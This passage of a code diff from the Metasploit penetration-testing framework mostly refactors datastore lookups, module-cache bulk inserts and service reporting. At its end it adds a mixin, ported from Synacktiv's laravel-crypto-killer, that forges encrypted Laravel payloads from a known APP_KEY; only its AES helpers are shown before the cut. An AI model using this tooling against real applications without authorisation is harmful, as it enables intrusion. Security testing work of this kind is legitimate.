||||
|
||||
self
|
||||
end
|
||||
|
||||
@@ -325,28 +403,145 @@ class DataStore < Hash
|
||||
list.each(&block)
|
||||
end
|
||||
|
||||
alias each_pair each
|
||||
|
||||
def each_key(&block)
|
||||
self.keys.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive key lookup
|
||||
#
|
||||
# @return [String]
|
||||
def find_key_case(k)
|
||||
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if self.aliases.has_key?(search_k)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
|
||||
if @user_defined.key?(search_k) || options.key?(search_k)
|
||||
return search_k
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
self.each_key do |rk|
|
||||
each_key do |rk|
|
||||
if rk.casecmp(search_k) == 0
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
return k
|
||||
k
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checking for imported default values, ignoring case again
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_result(:not_found, nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# These defaults will be used if the user has not explicitly defined a specific datastore value.
|
||||
# These will be checked as a priority to any options that also provide defaults.
|
||||
#
|
||||
# @return [Hash{String => Msf::OptBase}] The hash of default values
|
||||
attr_accessor :defaults
|
||||
|
||||
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
|
||||
# imported and user_defined strings.
|
||||
#
|
||||
# @param [Msf::DataStore] other The other datastore to copy state from
|
||||
# @return [Msf::DataStore] the current datastore instance
|
||||
def copy_state(other)
|
||||
self.options = other.options.dup
|
||||
self.aliases = other.aliases.dup
|
||||
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Raised when the specified key is not found
|
||||
# @param [string] key
|
||||
def key_error_for(key)
|
||||
::KeyError.new "key not found: #{key.inspect}"
|
||||
end
|
||||
|
||||
#
|
||||
# Simple dataclass for storing the result of a datastore search
|
||||
#
|
||||
class DataStoreSearchResult
|
||||
# @return [String, nil] the key associated with the fallback value
|
||||
attr_reader :fallback_key
|
||||
|
||||
# @return [object, nil] The value if found
|
||||
attr_reader :value
|
||||
|
||||
def initialize(result, value, namespace: nil, fallback_key: nil)
|
||||
@namespace = namespace
|
||||
@result = result
|
||||
@value = value
|
||||
@fallback_key = fallback_key
|
||||
end
|
||||
|
||||
def default?
|
||||
result == :imported_default || result == :option_default || !found?
|
||||
end
|
||||
|
||||
def found?
|
||||
result != :not_found
|
||||
end
|
||||
|
||||
def fallback?
|
||||
result == :option_fallback
|
||||
end
|
||||
|
||||
def global?
|
||||
namespace == :global_data_store && found?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
|
||||
attr_reader :namespace
|
||||
|
||||
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
|
||||
attr_reader :result
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,547 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# by various classes to hold option values and other state information.
|
||||
#
|
||||
###
|
||||
class DataStoreWithFallbacks
|
||||
|
||||
# The global framework datastore doesn't currently import options
|
||||
# For now, store an ad-hoc list of keys that the shell handles
|
||||
#
|
||||
# This list could be removed if framework's bootup sequence registers
|
||||
# these as datastore options
|
||||
GLOBAL_KEYS = %w[
|
||||
ConsoleLogging
|
||||
LogLevel
|
||||
MinimumRank
|
||||
SessionLogging
|
||||
TimestampOutput
|
||||
Prompt
|
||||
PromptChar
|
||||
PromptTimeFormat
|
||||
MeterpreterPrompt
|
||||
SessionTlvLogging
|
||||
]
|
||||
|
||||
#
|
||||
# Initializes the data store's internal state.
|
||||
#
|
||||
def initialize
|
||||
@options = Hash.new
|
||||
@aliases = Hash.new
|
||||
|
||||
# default values which will be referenced when not defined by the user
|
||||
@defaults = Hash.new
|
||||
|
||||
# values explicitly defined, which take precedence over default values
|
||||
@user_defined = Hash.new
|
||||
end
|
||||
|
||||
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
|
||||
attr_accessor :options
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
|
||||
attr_accessor :user_defined
|
||||
|
||||
#
|
||||
# Was this entry actually set or just using its default
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def default?(key)
|
||||
search_for(key).default?
|
||||
end
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
# directly.
|
||||
#
|
||||
def []=(k, v)
|
||||
k = find_key_case(k)
|
||||
|
||||
opt = @options[k]
|
||||
unless opt.nil?
|
||||
if opt.validate_on_assignment?
|
||||
unless opt.valid?(v, check_empty: false)
|
||||
raise Msf::OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"])
|
||||
end
|
||||
v = opt.normalize(v)
|
||||
end
|
||||
end
|
||||
|
||||
@user_defined[k] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around hash lookup
|
||||
#
|
||||
def [](k)
|
||||
search_result = search_for(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around store; Skips option validation entirely
|
||||
#
|
||||
def store(k,v)
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
# specified value, v. Skips option validation entirely.
|
||||
#
|
||||
def update_value(k, v)
|
||||
store(k, v)
|
||||
end
|
||||
|
||||
#
|
||||
# unset the current key from the datastore
|
||||
# @param [String] key The key to search for
|
||||
def unset(key)
|
||||
k = find_key_case(key)
|
||||
search_result = search_for(k)
|
||||
@user_defined.delete(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
# @deprecated use #{unset} instead, or set the value explicitly to nil
|
||||
# @param [String] key The key to search for
|
||||
def delete(key)
|
||||
unset(key)
|
||||
end
|
||||
|
||||
#
|
||||
# Removes an option and any associated value
|
||||
#
|
||||
# @param [String] name the option name
|
||||
# @return [nil]
|
||||
def remove_option(name)
|
||||
k = find_key_case(name)
|
||||
@user_defined.delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp?(k) }
|
||||
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# This method is a helper method that imports the default value for
|
||||
# all of the supplied options
|
||||
#
|
||||
def import_options(options, imported_by = nil, overwrite = true)
|
||||
options.each_option do |name, option|
|
||||
if self.options[name].nil? || overwrite
|
||||
key = name
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Imports option values from a whitespace separated string in
|
||||
# VAR=VAL format.
|
||||
#
|
||||
def import_options_from_s(option_str, delim = nil)
|
||||
hash = {}
|
||||
|
||||
# Figure out the delimiter, default to space.
|
||||
if (delim.nil?)
|
||||
delim = /\s/
|
||||
|
||||
if (option_str.split('=').length <= 2 or option_str.index(',') != nil)
|
||||
delim = ','
|
||||
end
|
||||
end
|
||||
|
||||
# Split on the delimiter
|
||||
option_str.split(delim).each { |opt|
|
||||
var, val = opt.split('=', 2)
|
||||
|
||||
next if (var =~ /^\s+$/)
|
||||
|
||||
|
||||
# Invalid parse? Raise an exception and let those bastards know.
|
||||
if (var == nil or val == nil)
|
||||
var = "unknown" if (!var)
|
||||
|
||||
raise Rex::ArgumentParseError, "Invalid option specified: #{var}",
|
||||
caller
|
||||
end
|
||||
|
||||
# Remove trailing whitespaces from the value
|
||||
val.gsub!(/\s+$/, '')
|
||||
|
||||
# Store the value
|
||||
hash[var] = val
|
||||
}
|
||||
|
||||
merge!(hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports values from a hash and stores them in the datastore.
|
||||
#
|
||||
# @deprecated use {#merge!} instead
|
||||
# @return [nil]
|
||||
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||
merge!(option_hash)
|
||||
end
|
||||
|
||||
# Update defaults from a hash. These merged values are not validated by default.
|
||||
#
|
||||
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
|
||||
# @param [Object] imported_by Who imported the defaults, not currently used
|
||||
# @return [nil]
|
||||
def import_defaults_from_hash(hash, imported_by:)
|
||||
@defaults.merge!(hash)
|
||||
end
|
||||
|
||||
# TODO: Doesn't normalize data in the same vein as:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/6644
|
||||
# @deprecated Use {#import_options}
|
||||
def import_option(key, val, imported = true, imported_by = nil, option = nil)
|
||||
store(key, val)
|
||||
|
||||
if option
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
|
||||
# @return [Array<String>] The array of user defined datastore values, and registered option names
|
||||
def keys
|
||||
(@user_defined.keys + @options.keys).uniq(&:downcase)
|
||||
end
|
||||
|
||||
# @return [Integer] The length of the registered keys
|
||||
def length
|
||||
keys.length
|
||||
end
|
||||
|
||||
alias count length
|
||||
alias size length
|
||||
|
||||
# @param [String] key
|
||||
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
|
||||
def key?(key)
|
||||
matching_key = find_key_case(key)
|
||||
keys.include?(matching_key)
|
||||
end
|
||||
|
||||
alias has_key? key?
|
||||
alias include? key?
|
||||
alias member? key?
|
||||
|
||||
#
|
||||
# Serializes the options in the datastore to a string.
|
||||
#
|
||||
def to_s(delim = ' ')
|
||||
str = ''
|
||||
|
||||
keys.sort.each { |key|
|
||||
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||
}
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
# Override Hash's to_h method so we can include the original case of each key
|
||||
# (failing to do this breaks a number of places in framework and pro that use
|
||||
# serialized datastores)
|
||||
def to_h
|
||||
datastore_hash = {}
|
||||
self.keys.each do |k|
|
||||
datastore_hash[k.to_s] = self[k].to_s
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
# Hack on a hack for the external modules
|
||||
def to_external_message_h
|
||||
datastore_hash = {}
|
||||
|
||||
array_nester = ->(arr) do
|
||||
if arr.first.is_a? Array
|
||||
arr.map &array_nester
|
||||
else
|
||||
arr.map { |item| item.to_s.dup.force_encoding('UTF-8') }
|
||||
end
|
||||
end
|
||||
|
||||
self.keys.each do |k|
|
||||
# TODO arbitrary depth
|
||||
if self[k].is_a? Array
|
||||
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = array_nester.call(self[k])
|
||||
else
|
||||
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = self[k].to_s.dup.force_encoding('UTF-8')
|
||||
end
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
#
|
||||
# Persists the contents of the data store to a file
|
||||
#
|
||||
def to_file(path, name = 'global')
|
||||
ini = Rex::Parser::Ini.new(path)
|
||||
|
||||
ini.add_group(name)
|
||||
|
||||
# Save all user-defined options to the file.
|
||||
@user_defined.each_pair { |k, v|
|
||||
ini[name][k] = v
|
||||
}
|
||||
|
||||
ini.to_file(path)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports datastore values from the specified file path using the supplied
|
||||
# name
|
||||
#
|
||||
def from_file(path, name = 'global')
|
||||
begin
|
||||
ini = Rex::Parser::Ini.from_file(path)
|
||||
rescue
|
||||
return
|
||||
end
|
||||
|
||||
if ini.group?(name)
|
||||
merge!(ini[name])
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
new_instance = self.class.new
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
#
|
||||
# Merge the other object into the current datastore's aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore, Hash] other
|
||||
def merge!(other)
|
||||
if other.is_a?(DataStoreWithFallbacks)
|
||||
self.aliases.merge!(other.aliases)
|
||||
self.options.merge!(other.options)
|
||||
self.defaults.merge!(other.defaults)
|
||||
other.user_defined.each do |k, v|
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
else
|
||||
other.each do |k, v|
|
||||
self.store(k, v)
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
alias update merge!
|
||||
|
||||
#
|
||||
# Reverse Merge the other object into the current datastore's aliases and imported hashes
|
||||
# Equivalent to ActiveSupport's reverse_merge! functionality.
|
||||
#
|
||||
# @param [Msf::Datastore] other
|
||||
def reverse_merge!(other)
|
||||
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStoreWithFallbacks)
|
||||
|
||||
copy_state(other.merge(self))
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge to ensure we merge the aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore,Hash] other
|
||||
def merge(other)
|
||||
ds = self.copy
|
||||
ds.merge!(other)
|
||||
end
|
||||
|
||||
#
|
||||
# Completely clear all values in the data store
|
||||
#
|
||||
def clear
|
||||
self.options.clear
|
||||
self.aliases.clear
|
||||
self.defaults.clear
|
||||
self.user_defined.clear
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+
|
||||
# "can't add a new key into hash during iteration"
|
||||
#
|
||||
def each(&block)
|
||||
list = []
|
||||
self.keys.sort.each do |sidx|
|
||||
list << [sidx, self[sidx]]
|
||||
end
|
||||
list.each(&block)
|
||||
end
|
||||
|
||||
alias each_pair each
|
||||
|
||||
def each_key(&block)
|
||||
self.keys.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive key lookup
|
||||
#
|
||||
# @return [String]
|
||||
def find_key_case(k)
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if self.aliases.has_key?(search_k)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
|
||||
if @user_defined.key?(search_k) || options.key?(search_k)
|
||||
return search_k
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
each_key do |rk|
|
||||
if rk.casecmp(search_k) == 0
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
k
|
||||
end
|
||||
|
||||
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
|
||||
#
|
||||
# @param [String] key The key to search for
|
||||
# @return [DataStoreSearchResult]
|
||||
def search_for(key)
|
||||
k = find_key_case(key)
|
||||
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
|
||||
|
||||
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
|
||||
if option
|
||||
# If the key isn't present - check any additional fallbacks that have been registered with the option.
|
||||
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
|
||||
# generic 'Username' fallback
|
||||
option.fallbacks.each do |fallback|
|
||||
fallback_search = search_for(fallback)
|
||||
if fallback_search.found?
|
||||
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Checking for imported default values, ignoring case again
|
||||
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
|
||||
return search_result(:imported_default, imported_default_match.last) if imported_default_match
|
||||
return search_result(:option_default, option.default) if option
|
||||
|
||||
search_result(:not_found, nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# These defaults will be used if the user has not explicitly defined a specific datastore value.
|
||||
# These will be checked as a priority to any options that also provide defaults.
|
||||
#
|
||||
# @return [Hash{String => Msf::OptBase}] The hash of default values
|
||||
attr_accessor :defaults
|
||||
|
||||
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
|
||||
# imported and user_defined strings.
|
||||
#
|
||||
# @param [Msf::DataStore] other The other datastore to copy state from
|
||||
# @return [Msf::DataStore] the current datastore instance
|
||||
def copy_state(other)
|
||||
self.options = other.options.dup
|
||||
self.aliases = other.aliases.dup
|
||||
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Raised when the specified key is not found
|
||||
# @param [string] key
|
||||
def key_error_for(key)
|
||||
::KeyError.new "key not found: #{key.inspect}"
|
||||
end
|
||||
|
||||
#
|
||||
# Simple dataclass for storing the result of a datastore search
|
||||
#
|
||||
class DataStoreSearchResult
|
||||
# @return [String, nil] the key associated with the fallback value
|
||||
attr_reader :fallback_key
|
||||
|
||||
# @return [object, nil] The value if found
|
||||
attr_reader :value
|
||||
|
||||
def initialize(result, value, namespace: nil, fallback_key: nil)
|
||||
@namespace = namespace
|
||||
@result = result
|
||||
@value = value
|
||||
@fallback_key = fallback_key
|
||||
end
|
||||
|
||||
def default?
|
||||
result == :imported_default || result == :option_default || !found?
|
||||
end
|
||||
|
||||
def found?
|
||||
result != :not_found
|
||||
end
|
||||
|
||||
def fallback?
|
||||
result == :option_fallback
|
||||
end
|
||||
|
||||
def global?
|
||||
namespace == :global_data_store && found?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
|
||||
attr_reader :namespace
|
||||
|
||||
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
|
||||
attr_reader :result
|
||||
end
|
||||
|
||||
def search_result(result, value, fallback_key: nil)
|
||||
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -28,7 +28,7 @@ module Msf::DBManager::ModuleCache
|
||||
values.collect { |value| "%#{value}%" }
|
||||
end
|
||||
|
||||
def module_to_details_hash(m)
|
||||
def module_to_details_hash(m, with_mixins: true)
|
||||
res = {}
|
||||
bits = []
|
||||
|
||||
@@ -92,8 +92,10 @@ module Msf::DBManager::ModuleCache
|
||||
res[:stance] = m.stance.to_s.index("aggressive") ? "aggressive" : "passive"
|
||||
|
||||
|
||||
m.class.mixins.each do |x|
|
||||
bits << [ :mixin, { :name => x.to_s } ]
|
||||
if with_mixins
|
||||
m.class.mixins.each do |x|
|
||||
bits << [ :mixin, { :name => x.to_s } ]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -269,7 +271,6 @@ module Msf::DBManager::ModuleCache
|
||||
}
|
||||
|
||||
Mdm::Module::Detail.find_each do |md|
|
||||
|
||||
unless md.ready
|
||||
refresh << md
|
||||
next
|
||||
@@ -291,6 +292,7 @@ module Msf::DBManager::ModuleCache
|
||||
|
||||
refresh.each { |md| md.destroy }
|
||||
|
||||
new_modules = []
|
||||
[
|
||||
['exploit', framework.exploits],
|
||||
['auxiliary', framework.auxiliary],
|
||||
@@ -305,14 +307,12 @@ module Msf::DBManager::ModuleCache
|
||||
next if skip_reference_name_set.include? mn
|
||||
obj = mt[1].create(mn)
|
||||
next if not obj
|
||||
begin
|
||||
update_module_details(obj)
|
||||
rescue ::Exception => e
|
||||
elog("Error updating module details for #{obj.fullname}", error: e)
|
||||
end
|
||||
new_modules <<= obj
|
||||
end
|
||||
end
|
||||
|
||||
insert_all(new_modules)
|
||||
|
||||
self.framework.cache_initialized = true
|
||||
end
|
||||
|
||||
@@ -332,7 +332,7 @@ module Msf::DBManager::ModuleCache
|
||||
return if not self.migrated
|
||||
|
||||
ApplicationRecord.connection_pool.with_connection do
|
||||
info = module_to_details_hash(module_instance)
|
||||
info = module_to_details_hash(module_instance, with_mixins: false)
|
||||
bits = info.delete(:bits) || []
|
||||
module_detail = Mdm::Module::Detail.create!(info)
|
||||
|
||||
@@ -359,4 +359,65 @@ module Msf::DBManager::ModuleCache
|
||||
module_detail.save!
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Insert the Msf::Module array into the Mdm::Module::Detail database class
|
||||
#
|
||||
# @param [Array<Msf::Module>] modules
|
||||
def insert_all(modules)
|
||||
module_hashes = modules.filter_map do |mod|
|
||||
begin
|
||||
hash = module_to_details_hash(mod, with_mixins: false)
|
||||
# The insert_all API requires all hashes to have the same keys present, so explicitly set these potentially missing keys
|
||||
hash[:disclosure_date] ||= nil
|
||||
hash[:default_target] ||= nil
|
||||
hash[:default_action] ||= nil
|
||||
hash[:stance] ||= nil
|
||||
hash
|
||||
rescue ::Exception => e
|
||||
elog("Error updating module details for #{mod.fullname}", error: e)
|
||||
nil
|
||||
end
|
||||
end
|
||||
return if module_hashes.empty?
|
||||
|
||||
# 1) Bulk insert the module detail entries
|
||||
module_details = module_hashes.map { |mod_hash| mod_hash.except(:bits) }
|
||||
module_detail_ids = Mdm::Module::Detail.insert_all!(module_details, returning: %w[id]).map { |returning| returning['id'] }
|
||||
|
||||
# 2) Build the hashes for the associations
|
||||
associations = module_hashes.zip(module_detail_ids).each_with_object(Hash.new { |hash, key| hash[key] = [] }) do |(module_hash, detail_id), acc|
|
||||
module_hash[:bits].each do |args|
|
||||
otype, vals = args
|
||||
|
||||
case otype
|
||||
when :action
|
||||
acc[Mdm::Module::Action] << { detail_id: detail_id, name: vals[:name] }
|
||||
when :arch
|
||||
acc[Mdm::Module::Arch] << { detail_id: detail_id, name: vals[:name] }
|
||||
when :author
|
||||
acc[Mdm::Module::Author] << { detail_id: detail_id, name: vals[:name], email: vals[:email] }
|
||||
when :platform
|
||||
acc[Mdm::Module::Platform] << { detail_id: detail_id, name: vals[:name] }
|
||||
when :ref
|
||||
acc[Mdm::Module::Ref] << { detail_id: detail_id, name: vals[:name] }
|
||||
when :target
|
||||
acc[Mdm::Module::Target] << { detail_id: detail_id, index: vals[:index], name: vals[:name] }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# 3) Insert the child associations
|
||||
associations.each do |association_clazz, entries|
|
||||
next if entries.empty?
|
||||
|
||||
association_clazz.insert_all!(entries)
|
||||
end
|
||||
|
||||
# 4) Mark the parent models as ready - to avoid repopulating the cache again
|
||||
Mdm::Module::Detail.where(id: module_detail_ids).update_all(ready: true)
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,6 +48,7 @@ module Msf::DBManager::Service
|
||||
# +:info+:: Detailed information about the service such as name and version information
|
||||
# +:state+:: The current listening state of the service (one of: open, closed, filtered, unknown)
|
||||
#
|
||||
# @return [Mdm::Service,nil]
|
||||
def report_service(opts)
|
||||
return if !active
|
||||
::ApplicationRecord.connection_pool.with_connection { |conn|
|
||||
@@ -81,8 +82,6 @@ module Msf::DBManager::Service
|
||||
return nil
|
||||
end
|
||||
|
||||
ret = {}
|
||||
|
||||
proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
|
||||
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
|
||||
@@ -116,13 +115,13 @@ module Msf::DBManager::Service
|
||||
end
|
||||
|
||||
if opts[:task]
|
||||
Mdm::TaskService.create(
|
||||
Mdm::TaskService.where(
|
||||
:task => opts[:task],
|
||||
:service => service
|
||||
)
|
||||
).first_or_create
|
||||
end
|
||||
|
||||
ret[:service] = service
|
||||
service
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
@@ -223,6 +223,10 @@ module Msf::DBManager::Vuln
|
||||
# Set the exploited_at value if provided
|
||||
vuln.exploited_at = exploited_at if exploited_at
|
||||
|
||||
# Vuln origin ignored, rationale:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/19817#issuecomment-2615656036
|
||||
# vuln.origin = opts[:origin] if opts[:origin]
|
||||
|
||||
# Merge the references
|
||||
if rids
|
||||
vuln.refs << (rids - vuln.refs)
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'cgi'
|
||||
|
||||
###
|
||||
# This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications.
|
||||
# This tool was firstly designed to craft payloads targeting the Laravel `decrypt()` function from the package `Illuminate\Encryption`.
|
||||
# It can also be used to decrypt any data encrypted via `encrypt()` or `encryptString()`.
|
||||
# The tool requires a valid `APP_KEY` to be used, you can also try to bruteforce them if you think there is a potential key reuse
|
||||
# from a public project for example.
|
||||
# Original authors of the tool: `@_remsio_` `@Kainx42` from SynActiv.
|
||||
# Orignal python code can be found here: https://github.com/synacktiv/laravel-crypto-killer
|
||||
# Recoded in Ruby by h00die-gr3y (h00die.gr3y[at]gmail.com)
|
||||
###
|
||||
module Msf::Exploit::LaravelCryptoKiller
|
||||
# Check if cipher is valid
|
||||
# @param [String] <cipher_mode> The cipher_mode
|
||||
#
|
||||
# @return [Boolean] true if mode is ok or false if mode is not valid
|
||||
def valid_cipher?(cipher_mode)
|
||||
ciphers ||= OpenSSL::Cipher.ciphers
|
||||
ciphers.include?(cipher_mode.downcase)
|
||||
end
|
||||
|
||||
# Perform AES encryption in CBC mode (compatible with Laravel)
|
||||
# @param [String] <value> The value that will be encrypted
|
||||
# @param [String] <iv> The IV parameter used for encryption
|
||||
# @param [String] <key> The key used for encryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The encrypted value or nil if unsuccessful
|
||||
def aes_encrypt(value, iv, key, cipher_mode)
|
||||
# Check cipher mode
|
||||
unless valid_cipher?(cipher_mode)
|
||||
vprint_error("Cipher is not valid: #{cipher_mode}")
|
||||
return
|
||||
end
|
||||
# Create a new AES cipher in CBC mode
|
||||
cipher = OpenSSL::Cipher.new(cipher_mode)
|
||||
cipher.encrypt
|
||||
cipher.key = key
|
||||
cipher.iv = iv
|
||||
|
||||
# Padding (similar to the pad lambda in Python)
|
||||
pad_length = 16 - (value.length % 16)
|
||||
padded_value = value + (pad_length.chr * pad_length)
|
||||
|
||||
# Encrypt the data
|
||||
cipher.update(padded_value)
|
||||
rescue StandardError => e
|
||||
vprint_error("AES encryption failed: #{e.message}")
|
||||
end
|
||||
|
||||
# Perform AES decryption in CBC mode (compatible with Laravel)
|
||||
# @param [String] <encrypted_value> Encrypted value that will be decrypted
|
||||
# @param [String] <iv> Random 16-byte IV parameter used for encryption
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The decrypted value or nil if unsuccessful
|
||||
def aes_decrypt(encrypted_value, iv, key, cipher_mode)
|
||||
# Check cipher mode
|
||||
unless valid_cipher?(cipher_mode)
|
||||
vprint_error("Cipher is not valid: #{cipher_mode}")
|
||||
return
|
||||
end
|
||||
# Create AES cipher in CBC mode
|
||||
cipher = OpenSSL::Cipher.new(cipher_mode)
|
||||
cipher.decrypt
|
||||
cipher.key = key
|
||||
cipher.iv = iv
|
||||
|
||||
# Decrypt the value
|
||||
cipher.update(encrypted_value) + cipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
vprint_error("AES decryption failed: #{e.message}")
|
||||
end
|
||||
|
||||
# Encrypts a base64 string as a ciphered Laravel value
|
||||
# @param [String] <value> The base64-encode value that will be encrypted
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The base64-encoded encrypted JSON.
|
||||
def laravel_encrypt(value_to_encrypt, key, cipher_mode)
|
